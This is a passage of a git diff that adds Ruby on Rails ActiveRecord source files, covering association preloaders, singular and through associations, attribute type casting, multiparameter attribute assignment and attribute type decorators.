+        def grouped_records(association, records)
+          h = {}
+          records.each do |record|
+            next unless record
+            assoc = record.association(association)
+            next unless assoc.klass
+            klasses = h[assoc.reflection] ||= {}
+            (klasses[assoc.klass] ||= []) << record
+          end
+          h
+        end
+
+        class AlreadyLoaded # :nodoc:
+          attr_reader :owners, :reflection
+
+          def initialize(klass, owners, reflection, preload_scope)
+            @owners = owners
+            @reflection = reflection
+          end
+
+          def run(preloader); end
+
+          def preloaded_records
+            owners.flat_map { |owner| owner.association(reflection.name).target }
+          end
+        end
+
+        # Returns a class containing the logic needed to load preload the data
+        # and attach it to a relation. For example +Preloader::Association+ or
+        # +Preloader::HasManyThrough+. The class returned implements a `run` method
+        # that accepts a preloader.
+        def preloader_for(reflection, owners)
+          if owners.first.association(reflection.name).loaded?
+            return AlreadyLoaded
+          end
+          reflection.check_preloadable!
+
+          case reflection.macro
+          when :has_many
+            reflection.options[:through] ? HasManyThrough : HasMany
+          when :has_one
+            reflection.options[:through] ? HasOneThrough : HasOne
+          when :belongs_to
+            BelongsTo
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
new file mode 100644
index 0000000000..5ba03c555a
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class Association #:nodoc:
+        attr_reader :owners, :reflection, :preload_scope, :model, :klass
+        attr_reader :preloaded_records
+
+        def initialize(klass, owners, reflection, preload_scope)
+          @klass         = klass
+          @owners        = owners
+          @reflection    = reflection
+          @preload_scope = preload_scope
+          @model         = owners.first && owners.first.class
+          @preloaded_records = []
+        end
+
+        def run(preloader)
+          preload(preloader)
+        end
+
+        def preload(preloader)
+          raise NotImplementedError
+        end
+
+        # The name of the key on the associated records
+        def association_key_name
+          raise NotImplementedError
+        end
+
+        # The name of the key on the model which declares the association
+        def owner_key_name
+          raise NotImplementedError
+        end
+
+        private
+          def options
+            reflection.options
+          end
+
+          def associated_records_by_owner(preloader)
+            records = load_records do |record|
+              owner = owners_by_key[convert_key(record[association_key_name])]
+              association = owner.association(reflection.name)
+              association.set_inverse_instance(record)
+            end
+
+            owners.each_with_object({}) do |owner, result|
+              result[owner] = records[convert_key(owner[owner_key_name])] || []
+            end
+          end
+
+          def owner_keys
+            unless defined?(@owner_keys)
+              @owner_keys = owners.map do |owner|
+                owner[owner_key_name]
+              end
+              @owner_keys.uniq!
+              @owner_keys.compact!
+            end
+            @owner_keys
+          end
+
+          def owners_by_key
+            unless defined?(@owners_by_key)
+              @owners_by_key = owners.each_with_object({}) do |owner, h|
+                h[convert_key(owner[owner_key_name])] = owner
+              end
+            end
+            @owners_by_key
+          end
+
+          def key_conversion_required?
+            @key_conversion_required ||= association_key_type != owner_key_type
+          end
+
+          def convert_key(key)
+            if key_conversion_required?
+              key.to_s
+            else
+              key
+            end
+          end
+
+          def association_key_type
+            @klass.type_for_attribute(association_key_name.to_s).type
+          end
+
+          def owner_key_type
+            @model.type_for_attribute(owner_key_name.to_s).type
+          end
+
+          def load_records(&block)
+            return {} if owner_keys.empty?
+            # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
+            # Make several smaller queries if necessary or make one query if the adapter supports it
+            slices = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
+            @preloaded_records = slices.flat_map do |slice|
+              records_for(slice, &block)
+            end
+            @preloaded_records.group_by do |record|
+              convert_key(record[association_key_name])
+            end
+          end
+
+          def records_for(ids, &block)
+            scope.where(association_key_name => ids).load(&block)
+          end
+
+          def scope
+            @scope ||= build_scope
+          end
+
+          def reflection_scope
+            @reflection_scope ||= reflection.scope_for(klass)
+          end
+
+          def klass_scope
+            current_scope = klass.current_scope
+
+            if current_scope && current_scope.empty_scope?
+              klass.unscoped
+            else
+              klass.default_scoped
+            end
+          end
+
+          def build_scope
+            scope = klass_scope
+
+            if reflection.type
+              scope.where!(reflection.type => model.base_class.sti_name)
+            end
+
+            scope.merge!(reflection_scope)
+            scope.merge!(preload_scope) if preload_scope
+            scope
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/belongs_to.rb b/activerecord/lib/active_record/associations/preloader/belongs_to.rb
new file mode 100644
index 0000000000..ae9695f26a
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/belongs_to.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class BelongsTo < SingularAssociation #:nodoc:
+        def association_key_name
+          options[:primary_key] || klass && klass.primary_key
+        end
+
+        def owner_key_name
+          reflection.foreign_key
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
new file mode 100644
index 0000000000..fb920a642c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class CollectionAssociation < Association #:nodoc:
+        private
+
+          def preload(preloader)
+            associated_records_by_owner(preloader).each do |owner, records|
+              association = owner.association(reflection.name)
+              association.loaded!
+              association.target.concat(records)
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many.rb b/activerecord/lib/active_record/associations/preloader/has_many.rb
new file mode 100644
index 0000000000..29a1ce099d
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_many.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class HasMany < CollectionAssociation #:nodoc:
+        def association_key_name
+          reflection.foreign_key
+        end
+
+        def owner_key_name
+          reflection.active_record_primary_key
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
new file mode 100644
index 0000000000..0639fdca44
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class HasManyThrough < CollectionAssociation #:nodoc:
+        include ThroughAssociation
+
+        def associated_records_by_owner(preloader)
+          records_by_owner = super
+
+          if reflection_scope.distinct_value
+            records_by_owner.each_value(&:uniq!)
+          end
+
+          records_by_owner
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one.rb b/activerecord/lib/active_record/associations/preloader/has_one.rb
new file mode 100644
index 0000000000..d87abf630f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_one.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class HasOne < SingularAssociation #:nodoc:
+        def association_key_name
+          reflection.foreign_key
+        end
+
+        def owner_key_name
+          reflection.active_record_primary_key
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one_through.rb b/activerecord/lib/active_record/associations/preloader/has_one_through.rb
new file mode 100644
index 0000000000..17734d0257
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_one_through.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class HasOneThrough < SingularAssociation #:nodoc:
+        include ThroughAssociation
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
new file mode 100644
index 0000000000..266b5f6b1c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class SingularAssociation < Association #:nodoc:
+        private
+
+          def preload(preloader)
+            associated_records_by_owner(preloader).each do |owner, associated_records|
+              record = associated_records.first
+
+              association = owner.association(reflection.name)
+              association.target = record
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
new file mode 100644
index 0000000000..de4b847a41
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      module ThroughAssociation #:nodoc:
+        def through_reflection
+          reflection.through_reflection
+        end
+
+        def source_reflection
+          reflection.source_reflection
+        end
+
+        def associated_records_by_owner(preloader)
+          through_scope = through_scope()
+
+          preloader.preload(owners,
+                            through_reflection.name,
+                            through_scope)
+
+          through_records = owners.map do |owner|
+            center = owner.association(through_reflection.name).target
+            [owner, Array(center)]
+          end
+
+          reset_association(owners, through_reflection.name, through_scope)
+
+          middle_records = through_records.flat_map(&:last)
+
+          preloaders = preloader.preload(middle_records,
+                                         source_reflection.name,
+                                         reflection_scope)
+
+          @preloaded_records = preloaders.flat_map(&:preloaded_records)
+
+          middle_to_pl = preloaders.each_with_object({}) do |pl, h|
+            pl.owners.each { |middle|
+              h[middle] = pl
+            }
+          end
+
+          through_records.each_with_object({}) do |(lhs, center), records_by_owner|
+            pl_to_middle = center.group_by { |record| middle_to_pl[record] }
+
+            records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
+              rhs_records = middles.flat_map { |r|
+                r.association(source_reflection.name).target
+              }.compact
+
+              # Respect the order on `reflection_scope` if it exists, else use the natural order.
+              if reflection_scope.values[:order].present?
+                @id_map ||= id_to_index_map @preloaded_records
+                rhs_records.sort_by { |rhs| @id_map[rhs] }
+              else
+                rhs_records
+              end
+            end
+          end
+        end
+
+        private
+
+          def id_to_index_map(ids)
+            id_map = {}
+            ids.each_with_index { |id, index| id_map[id] = index }
+            id_map
+          end
+
+          def reset_association(owners, association_name, through_scope)
+            should_reset = (through_scope != through_reflection.klass.unscoped) ||
+               (options[:source_type] && through_reflection.collection?)
+
+            # Don't cache the association - we would only be caching a subset
+            if should_reset
+              owners.each { |owner|
+                owner.association(association_name).reset
+              }
+            end
+          end
+
+          def through_scope
+            scope = through_reflection.klass.unscoped
+            values = reflection_scope.values
+
+            if options[:source_type]
+              scope.where! reflection.foreign_type => options[:source_type]
+            else
+              unless reflection_scope.where_clause.empty?
+                scope.includes_values = Array(values[:includes] || options[:source])
+                scope.where_clause = reflection_scope.where_clause
+                if joins = values[:joins]
+                  scope.joins!(source_reflection.name => joins)
+                end
+                if left_outer_joins = values[:left_outer_joins]
+                  scope.left_outer_joins!(source_reflection.name => left_outer_joins)
+                end
+              end
+
+              scope.references! values[:references]
+              if scope.eager_loading? && order_values = values[:order]
+                scope = scope.order(order_values)
+              end
+            end
+
+            scope
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
new file mode 100644
index 0000000000..c1eee3c630
--- /dev/null
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class SingularAssociation < Association #:nodoc:
+      # Implements the reader method, e.g. foo.bar for Foo.has_one :bar
+      def reader
+        if !loaded? || stale_target?
+          reload
+        end
+
+        target
+      end
+
+      # Implements the writer method, e.g. foo.bar= for Foo.belongs_to :bar
+      def writer(record)
+        replace(record)
+      end
+
+      def build(attributes = {})
+        record = build_record(attributes)
+        yield(record) if block_given?
+        set_new_record(record)
+        record
+      end
+
+      # Implements the reload reader method, e.g. foo.reload_bar for
+      # Foo.has_one :bar
+      def force_reload_reader
+        klass.uncached { reload }
+        target
+      end
+
+      private
+        def scope_for_create
+          super.except!(klass.primary_key)
+        end
+
+        def find_target
+          scope = self.scope
+          return scope.take if skip_statement_cache?(scope)
+
+          conn = klass.connection
+          sc = reflection.association_scope_cache(conn, owner) do
+            StatementCache.create(conn) { |params|
+              as = AssociationScope.create { params.bind }
+              target_scope.merge!(as.scope(self)).limit(1)
+            }
+          end
+
+          binds = AssociationScope.get_bind_values(owner, reflection.chain)
+          sc.execute(binds, klass, conn) do |record|
+            set_inverse_instance record
+          end.first
+        rescue ::RangeError
+          nil
+        end
+
+        def replace(record)
+          raise NotImplementedError, "Subclasses must implement a replace(record) method"
+        end
+
+        def set_new_record(record)
+          replace(record)
+        end
+
+        def _create_record(attributes, raise_error = false)
+          unless owner.persisted?
+            raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
+          end
+
+          record = build_record(attributes)
+          yield(record) if block_given?
+          saved = record.save
+          set_new_record(record)
+          raise RecordInvalid.new(record) if !saved && raise_error
+          record
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
new file mode 100644
index 0000000000..76237c4a0c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Through Association
+  module Associations
+    module ThroughAssociation #:nodoc:
+      delegate :source_reflection, :through_reflection, to: :reflection
+
+      private
+
+        # We merge in these scopes for two reasons:
+        #
+        #   1. To get the default_scope conditions for any of the other reflections in the chain
+        #   2. To get the type conditions for any STI models in the chain
+        def target_scope
+          scope = super
+          reflection.chain.drop(1).each do |reflection|
+            relation = reflection.klass.all
+            scope.merge!(
+              relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+            )
+          end
+          scope
+        end
+
+        # Construct attributes for :through pointing to owner and associate. This is used by the
+        # methods which create and delete records on the association.
+        #
+        # We only support indirectly modifying through associations which have a belongs_to source.
+        # This is the "has_many :tags, through: :taggings" situation, where the join model
+        # typically has a belongs_to on both side. In other words, associations which could also
+        # be represented as has_and_belongs_to_many associations.
+        #
+        # We do not support creating/deleting records on the association where the source has
+        # some other type, because this opens up a whole can of worms, and in basically any
+        # situation it is more natural for the user to just create or modify their join records
+        # directly as required.
+        def construct_join_attributes(*records)
+          ensure_mutable
+
+          if source_reflection.association_primary_key(reflection.klass) == reflection.klass.primary_key
+            join_attributes = { source_reflection.name => records }
+          else
+            join_attributes = {
+              source_reflection.foreign_key =>
+                records.map { |record|
+                  record.send(source_reflection.association_primary_key(reflection.klass))
+                }
+            }
+          end
+
+          if options[:source_type]
+            join_attributes[source_reflection.foreign_type] =
+              records.map { |record| record.class.base_class.name }
+          end
+
+          if records.count == 1
+            Hash[join_attributes.map { |k, v| [k, v.first] }]
+          else
+            join_attributes
+          end
+        end
+
+        # Note: this does not capture all cases, for example it would be crazy to try to
+        # properly support stale-checking for nested associations.
+        def stale_state
+          if through_reflection.belongs_to?
+            owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
+          end
+        end
+
+        def foreign_key_present?
+          through_reflection.belongs_to? && !owner[through_reflection.foreign_key].nil?
+        end
+
+        def ensure_mutable
+          unless source_reflection.belongs_to?
+            if reflection.has_one?
+              raise HasOneThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
+            else
+              raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
+            end
+          end
+        end
+
+        def ensure_not_nested
+          if reflection.nested?
+            if reflection.has_one?
+              raise HasOneThroughNestedAssociationsAreReadonly.new(owner, reflection)
+            else
+              raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection)
+            end
+          end
+        end
+
+        def build_record(attributes)
+          inverse = source_reflection.inverse_of
+          target = through_association.target
+
+          if inverse && target && !target.is_a?(Array)
+            attributes[inverse.foreign_key] = target.id
+          end
+
+          super(attributes)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute.rb b/activerecord/lib/active_record/attribute.rb
new file mode 100644
index 0000000000..fc474edc15
--- /dev/null
+++ b/activerecord/lib/active_record/attribute.rb
@@ -0,0 +1,242 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Attribute # :nodoc:
+    class << self
+      def from_database(name, value, type)
+        FromDatabase.new(name, value, type)
+      end
+
+      def from_user(name, value, type, original_attribute = nil)
+        FromUser.new(name, value, type, original_attribute)
+      end
+
+      def with_cast_value(name, value, type)
+        WithCastValue.new(name, value, type)
+      end
+
+      def null(name)
+        Null.new(name)
+      end
+
+      def uninitialized(name, type)
+        Uninitialized.new(name, type)
+      end
+    end
+
+    attr_reader :name, :value_before_type_cast, :type
+
+    # This method should not be called directly.
+    # Use #from_database or #from_user
+    def initialize(name, value_before_type_cast, type, original_attribute = nil)
+      @name = name
+      @value_before_type_cast = value_before_type_cast
+      @type = type
+      @original_attribute = original_attribute
+    end
+
+    def value
+      # `defined?` is cheaper than `||=` when we get back falsy values
+      @value = type_cast(value_before_type_cast) unless defined?(@value)
+      @value
+    end
+
+    def original_value
+      if assigned?
+        original_attribute.original_value
+      else
+        type_cast(value_before_type_cast)
+      end
+    end
+
+    def value_for_database
+      type.serialize(value)
+    end
+
+    def changed?
+      changed_from_assignment? || changed_in_place?
+    end
+
+    def changed_in_place?
+      has_been_read? && type.changed_in_place?(original_value_for_database, value)
+    end
+
+    def forgetting_assignment
+      with_value_from_database(value_for_database)
+    end
+
+    def with_value_from_user(value)
+      type.assert_valid_value(value)
+      self.class.from_user(name, value, type, original_attribute || self)
+    end
+
+    def with_value_from_database(value)
+      self.class.from_database(name, value, type)
+    end
+
+    def with_cast_value(value)
+      self.class.with_cast_value(name, value, type)
+    end
+
+    def with_type(type)
+      if changed_in_place?
+        with_value_from_user(value).with_type(type)
+      else
+        self.class.new(name, value_before_type_cast, type, original_attribute)
+      end
+    end
+
+    def type_cast(*)
+      raise NotImplementedError
+    end
+
+    def initialized?
+      true
+    end
+
+    def came_from_user?
+      false
+    end
+
+    def has_been_read?
+      defined?(@value)
+    end
+
+    def ==(other)
+      self.class == other.class &&
+        name == other.name &&
+        value_before_type_cast == other.value_before_type_cast &&
+        type == other.type
+    end
+    alias eql? ==
+
+    def hash
+      [self.class, name, value_before_type_cast, type].hash
+    end
+
+    def init_with(coder)
+      @name = coder["name"]
+      @value_before_type_cast = coder["value_before_type_cast"]
+      @type = coder["type"]
+      @original_attribute = coder["original_attribute"]
+      @value = coder["value"] if coder.map.key?("value")
+    end
+
+    def encode_with(coder)
+      coder["name"] = name
+      coder["value_before_type_cast"] = value_before_type_cast unless value_before_type_cast.nil?
+      coder["type"] = type if type
+      coder["original_attribute"] = original_attribute if original_attribute
+      coder["value"] = value if defined?(@value)
+    end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_reader :original_attribute
+      alias_method :assigned?, :original_attribute
+
+      def original_value_for_database
+        if assigned?
+          original_attribute.original_value_for_database
+        else
+          _original_value_for_database
+        end
+      end
+
+    private
+      def initialize_dup(other)
+        if defined?(@value) && @value.duplicable?
+          @value = @value.dup
+        end
+      end
+
+      def changed_from_assignment?
+        assigned? && type.changed?(original_value, value, value_before_type_cast)
+      end
+
+      def _original_value_for_database
+        type.serialize(original_value)
+      end
+
+      class FromDatabase < Attribute # :nodoc:
+        def type_cast(value)
+          type.deserialize(value)
+        end
+
+        def _original_value_for_database
+          value_before_type_cast
+        end
+      end
+
+      class FromUser < Attribute # :nodoc:
+        def type_cast(value)
+          type.cast(value)
+        end
+
+        def came_from_user?
+          !type.value_constructed_by_mass_assignment?(value_before_type_cast)
+        end
+      end
+
+      class WithCastValue < Attribute # :nodoc:
+        def type_cast(value)
+          value
+        end
+
+        def changed_in_place?
+          false
+        end
+      end
+
+      class Null < Attribute # :nodoc:
+        def initialize(name)
+          super(name, nil, Type.default_value)
+        end
+
+        def type_cast(*)
+          nil
+        end
+
+        def with_type(type)
+          self.class.with_cast_value(name, nil, type)
+        end
+
+        def with_value_from_database(value)
+          raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{name}`"
+        end
+        alias_method :with_value_from_user, :with_value_from_database
+      end
+
+      class Uninitialized < Attribute # :nodoc:
+        UNINITIALIZED_ORIGINAL_VALUE = Object.new
+
+        def initialize(name, type)
+          super(name, nil, type)
+        end
+
+        def value
+          if block_given?
+            yield name
+          end
+        end
+
+        def original_value
+          UNINITIALIZED_ORIGINAL_VALUE
+        end
+
+        def value_for_database
+        end
+
+        def initialized?
+          false
+        end
+
+        def with_type(type)
+          self.class.new(name, type)
+        end
+      end
+      private_constant :FromDatabase, :FromUser, :Null, :Uninitialized, :WithCastValue
+  end
+end
diff --git a/activerecord/lib/active_record/attribute/user_provided_default.rb b/activerecord/lib/active_record/attribute/user_provided_default.rb
new file mode 100644
index 0000000000..690a931615
--- /dev/null
+++ b/activerecord/lib/active_record/attribute/user_provided_default.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require_relative "../attribute"
+
+module ActiveRecord
+  class Attribute # :nodoc:
+    class UserProvidedDefault < FromUser # :nodoc:
+      def initialize(name, value, type, database_default)
+        @user_provided_value = value
+        super(name, value, type, database_default)
+      end
+
+      def value_before_type_cast
+        if user_provided_value.is_a?(Proc)
+          @memoized_value_before_type_cast ||= user_provided_value.call
+        else
+          @user_provided_value
+        end
+      end
+
+      def with_type(type)
+        self.class.new(name, user_provided_value, type, original_attribute)
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :user_provided_value
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
new file mode 100644
index 0000000000..8b0d9aab01
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "active_model/forbidden_attributes_protection"
+
+module ActiveRecord
+  module AttributeAssignment
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeAssignment
+
+    # Alias for ActiveModel::AttributeAssignment#assign_attributes. See ActiveModel::AttributeAssignment.
+    def attributes=(attributes)
+      assign_attributes(attributes)
+    end
+
+    private
+
+      def _assign_attributes(attributes)
+        multi_parameter_attributes  = {}
+        nested_parameter_attributes = {}
+
+        attributes.each do |k, v|
+          if k.include?("(")
+            multi_parameter_attributes[k] = attributes.delete(k)
+          elsif v.is_a?(Hash)
+            nested_parameter_attributes[k] = attributes.delete(k)
+          end
+        end
+        super(attributes)
+
+        assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
+        assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
+      end
+
+      # Assign any deferred nested attributes after the base attributes have been set.
+      def assign_nested_parameter_attributes(pairs)
+        pairs.each { |k, v| _assign_attribute(k, v) }
+      end
+
+      # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
+      # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+      # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+      # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+      # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Integer and
+      # f for Float. If all the values for a given attribute are empty, the attribute will be set to +nil+.
+      def assign_multiparameter_attributes(pairs)
+        execute_callstack_for_multiparameter_attributes(
+          extract_callstack_for_multiparameter_attributes(pairs)
+        )
+      end
+
+      def execute_callstack_for_multiparameter_attributes(callstack)
+        errors = []
+        callstack.each do |name, values_with_empty_parameters|
+          begin
+            if values_with_empty_parameters.each_value.all?(&:nil?)
+              values = nil
+            else
+              values = values_with_empty_parameters
+            end
+            send("#{name}=", values)
+          rescue => ex
+            errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
+          end
+        end
+        unless errors.empty?
+          error_descriptions = errors.map(&:message).join(",")
+          raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes [#{error_descriptions}]"
+        end
+      end
+
+      def extract_callstack_for_multiparameter_attributes(pairs)
+        attributes = {}
+
+        pairs.each do |(multiparameter_name, value)|
+          attribute_name = multiparameter_name.split("(").first
+          attributes[attribute_name] ||= {}
+
+          parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
+          attributes[attribute_name][find_parameter_position(multiparameter_name)] ||= parameter_value
+        end
+
+        attributes
+      end
+
+      def type_cast_attribute_value(multiparameter_name, value)
+        multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
+      end
+
+      def find_parameter_position(multiparameter_name)
+        multiparameter_name.scan(/\(([0-9]*).*\)/).first.first.to_i
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_decorators.rb b/activerecord/lib/active_record/attribute_decorators.rb
new file mode 100644
index 0000000000..98b7805c0a
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_decorators.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeDecorators # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :attribute_type_decorations, instance_accessor: false, default: TypeDecorator.new # :internal:
+    end
+
+    module ClassMethods # :nodoc:
+      # This method is an internal API used to create class macros such as
+      # +serialize+, and features like time zone aware attributes.
+      #
+      # Used to wrap the type of an attribute in a new type.
+      # When the schema for a model is loaded, attributes with the same name as
+      # +column_name+ will have their type yielded to the given block. The
+      # return value of that block will be used instead.
+      #
+      # Subsequent calls where +column_name+ and +decorator_name+ are the same
+      # will override the previous decorator, not decorate twice. This can be
+      # used to create idempotent class macros like +serialize+
+      def decorate_attribute_type(column_name, decorator_name, &block)
+        matcher = ->(name, _) { name == column_name.to_s }
+        key = "_#{column_name}_#{decorator_name}"
+        decorate_matching_attribute_types(matcher, key, &block)
+      end
+
+      # This method is an internal API used to create higher level features like
+      # time zone aware attributes.
+      #
+      # When the schema for a model is loaded, +matcher+ will be called for each
+      # attribute with its name and type. If the matcher returns a truthy value,
+      # the type will then be yielded to the given block, and the return value
+      # of that block will replace the type.
+      #
+      # Subsequent calls to this method with the same value for +decorator_name+
+      # will replace the previous decorator, not decorate twice. This can be
+      # used to ensure that class macros are idempotent.
+      def decorate_matching_attribute_types(matcher, decorator_name, &block)
+        reload_schema_from_cache
+        decorator_name = decorator_name.to_s
+
+        # Create new hashes so we don't modify parent classes
+        self.attribute_type_decorations = attribute_type_decorations.merge(decorator_name => [matcher, block])
+      end
+
+      private
+
+        def load_schema!
+          super
+          attribute_types.each do |name, type|
+            decorated_type = attribute_type_decorations.apply(name, type)
+            define_attribute(name, decorated_type)
+          end
+        end
+    end
+
+    class TypeDecorator # :nodoc:
+      delegate :clear, to: :@decorations
+
+      def initialize(decorations = {})
+        @decorations = decorations
+      end
+
+      def merge(*args)
+        TypeDecorator.new(@decorations.merge(*args))
+      end
+
+      def apply(name, type)
+        decorations = decorators_for(name, type)
+        decorations.inject(type) do |new_type, block|
+          block.call(new_type)
+        end
+      end
+
+      private
+
+        def decorators_for(name, type)
+          matching(name, type).map(&:last)
+        end
+
+        def matching(name, type)
+          @decorations.values.select do |(matcher, _)|
+            matcher.call(name, type)
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
new file mode 100644
index 0000000000..e4ca6c8408
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -0,0 +1,449 @@
+# frozen_string_literal: true
+
+require "mutex_m"
+
+module ActiveRecord
+  # = Active Record Attribute Methods
+  module AttributeMethods
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeMethods
+
+    included do
+      initialize_generated_modules
+      include Read
+      include Write
+      include BeforeTypeCast
+      include Query
+      include PrimaryKey
+      include TimeZoneConversion
+      include Dirty
+      include Serialization
+
+      delegate :column_for_attribute, to: :class
+    end
+
+    AttrNames = Module.new {
+      def self.set_name_cache(name, value)
+        const_name = "ATTR_#{name}"
+        unless const_defined? const_name
+          const_set const_name, value.dup.freeze
+        end
+      end
+    }
+
+    BLACKLISTED_CLASS_METHODS = %w(private public protected allocate new name parent superclass)
+
+    class GeneratedAttributeMethods < Module; end # :nodoc:
+
+    module ClassMethods
+      def inherited(child_class) #:nodoc:
+        child_class.initialize_generated_modules
+        super
+      end
+
+      def initialize_generated_modules # :nodoc:
+        @generated_attribute_methods = GeneratedAttributeMethods.new { extend Mutex_m }
+        @attribute_methods_generated = false
+        include @generated_attribute_methods
+
+        super
+      end
+
+      # Generates all the attribute related methods for columns in the database
+      # accessors, mutators and query methods.
+      def define_attribute_methods # :nodoc:
+        return false if @attribute_methods_generated
+        # Use a mutex; we don't want two threads simultaneously trying to define
+        # attribute methods.
+        generated_attribute_methods.synchronize do
+          return false if @attribute_methods_generated
+          superclass.define_attribute_methods unless self == base_class
+          super(attribute_names)
+          @attribute_methods_generated = true
+        end
+      end
+
+      def undefine_attribute_methods # :nodoc:
+        generated_attribute_methods.synchronize do
+          super if defined?(@attribute_methods_generated) && @attribute_methods_generated
+          @attribute_methods_generated = false
+        end
+      end
+
+      # Raises an ActiveRecord::DangerousAttributeError exception when an
+      # \Active \Record method is defined in the model, otherwise +false+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     def save
+      #       'already defined by Active Record'
+      #     end
+      #   end
+      #
+      #   Person.instance_method_already_implemented?(:save)
+      #   # => ActiveRecord::DangerousAttributeError: save is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name.
+      #
+      #   Person.instance_method_already_implemented?(:name)
+      #   # => false
+      def instance_method_already_implemented?(method_name)
+        if dangerous_attribute_method?(method_name)
